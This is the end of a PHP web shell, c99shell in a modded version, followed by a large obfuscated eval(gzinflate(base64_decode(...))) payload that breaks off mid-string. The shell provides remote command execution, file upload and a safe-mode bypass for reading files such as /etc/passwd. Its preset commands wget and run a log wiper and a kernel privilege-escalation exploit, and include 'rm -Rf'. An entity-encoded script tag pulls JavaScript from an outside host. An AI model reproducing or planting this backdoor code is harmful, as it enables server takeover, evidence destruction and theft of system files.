  "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), 
  "ext_lnk"=>array("ext_lnk","ext_url"), 
  "ext_ini"=>array("ext_ini","ext_css","ext_inf"), 
  "ext_doc"=>array("ext_doc","ext_dot"), 
  "ext_js"=>array("ext_js","ext_vbs"), 
  "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), 
  "ext_wri"=>array("ext_wri","ext_rtf"), 
  "ext_swf"=>array("ext_swf","ext_fla"), 
  "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), 
  "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") 
); 
if (!$getall) 
{ 
  header("Content-type: image/gif"); 
  header("Cache-control: public"); 
  header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
  header("Cache-control: max-age=".(60*60*24*7)); 
  header("Last-Modified: ".date("r",filemtime(__FILE__))); 
  foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} 
  if (empty($images[$img])) {$img = "small_unk";} 
  if (in_array($img,$ext_tar)) {$img = "ext_tar";} 
  echo base64_decode($images[$img]); 
} 
else 
{ 
  foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} 
  natsort($images); 
  $k = array_keys($images); 
  echo  "<center>"; 
  foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} 
  echo "</center>"; 
} 
exit; 
} 
if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} 
?> 
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> 
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>::<SCRIPT SRC=&#x68&#x74&#x74&#x70&#x3a&#x2f&#x2f&#x77&#x77&#x77&#x2e&#x6c&#x6f&#x63&#x61&#x6c&#x72&#x6f&#x6f&#x74&#x2e&#x6e&#x65&#x74&#x2f&#x69&#x62&#x6e&#x65&#x6c&#x65&#x72&#x2f&#x79&#x61&#x7a&#x2e&#x6a&#x73></SCRIPT><a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> 
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> 
<br> 
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> 
<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr> 
<tr> 
  <td width="50%" height="83" valign="top"><center> 
    <div align="center">Useful Commands 
    </div> 
    <form action="<?php echo $surl; ?>"> 
      <div align="center"> 
        <input type=hidden name=act value="cmd"> 
        <input type=hidden name="d" value="<?php echo $dispd; ?>"> 
          <SELECT NAME="cmd"> 
            <OPTION VALUE="uname -a">Kernel version 
              <OPTION VALUE="w">Logged in users 
                <OPTION VALUE="lastlog">Last to connect 
                  <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins 
                    <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! 
                    <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? 
                    <OPTION VALUE="which wget curl w3m lynx">Downloaders? 
                    <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO 
                    <OPTION VALUE="netstat -atup | grep IST">Open ports 
                    <OPTION VALUE="locate gcc">gcc installed? 
                    <OPTION VALUE="rm -Rf">Format box (DANGEROUS) 
                    <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) 
                    <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 
                    <OPTION VALUE="./zap2">WIPELOGS PT3 
                    <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) 
                    <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) 
                    <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) 
                    <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) 
                    <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) 
                    <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) 
                  </SELECT> 
        <input type=hidden name="cmd_txt" value="1"> 
        &nbsp; 
        <input type=submit name=submit value="Execute"> 
          <br> 
        Warning. Kernel may be alerted using higher levels </div> 
    </form> 
    </td> 
  <td width="50%" height="83" valign="top"><center> 
   <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> 
      <input name="q" type="text" id="q" value="<?php echo wordwrap(php_uname()); ?>"> 
      <input type="hidden" name="client" value="firefox-a"> 
      <input type="hidden" name="rls" value="org.mozilla:en-US:official"> 
      <input type="hidden" name="hl" value="en"> 
      <input type="hidden" name="hs" value="b7p"> 
      <input type=submit name="btnG" VALUE="Search"> 
    </form></center> 
    </td> 
</tr></TABLE><br> 
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> 
<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr> 
<tr> 
  <td width="50%" height="83" valign="top"><center> 
    <div align="center">Php Safe-Mode Bypass (Read Files) 
    </div><br> 
    <form action="<?php echo $surl; ?>"> 
      <div align="center"> 
      File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> 
      <? 
       
      function rsg_read() 
    {     
    $test=""; 
    $temp=tempnam($test, "cx"); 
    $file=$_GET['file'];     
    $get=htmlspecialchars($file); 
    echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; 
    if(copy("compress.zlib://".$file, $temp)){ 
    $fichier = fopen($temp, "r"); 
    $action = fread($fichier, filesize($temp)); 
    fclose($fichier); 
    $source=htmlspecialchars($action); 
    echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; 
    unlink($temp); 
    } else { 
    die("<FONT COLOR=\"RED\"><CENTER>Sorry... File 
    <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have 
    access.</CENTER></FONT>"); 
            } 
    echo "</div>"; 
    } 
     
    if(isset($_GET['file'])) 
{ 
rsg_read(); 
} 
     
    ?> 
     
    <? 
     
    function rsg_glob() 
{ 
$chemin=$_GET['directory']; 
$files = glob("$chemin*"); 
echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; 
foreach ($files as $filename) { 
    echo "<pre>"; 
   echo "$filename
"; 
   echo "</pre>"; 
} 
} 

if(isset($_GET['directory'])) 
{ 
rsg_glob(); 
} 

?> 

          <br> 
      </div> 
    </form> 
    </td> 
  <td width="50%" height="83" valign="top"><center> 
   <center>Php Safe-Mode Bypass (List Directories):     <form action="<?php echo $surl; ?>"> 
      <div align="center"><br> 
      Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> 

    </form></center> 
    </td> 
</tr></TABLE><br> 
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> 
<tr> 
<td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> 
<td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> 
</tr> 
</table> 
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> 
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> 
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--<br><br> coded & antivirus undetected by <a href=mailto:[email protected]>hamed bazargani</a> <font color=red> (HBA) </font> </b></p></td></tr></table> 
</body></html><?php chdir($lastdir); c99shexit(); ?><?

Did this file decode correctly?

Original Code

<? eval(gzinflate(base64_decode('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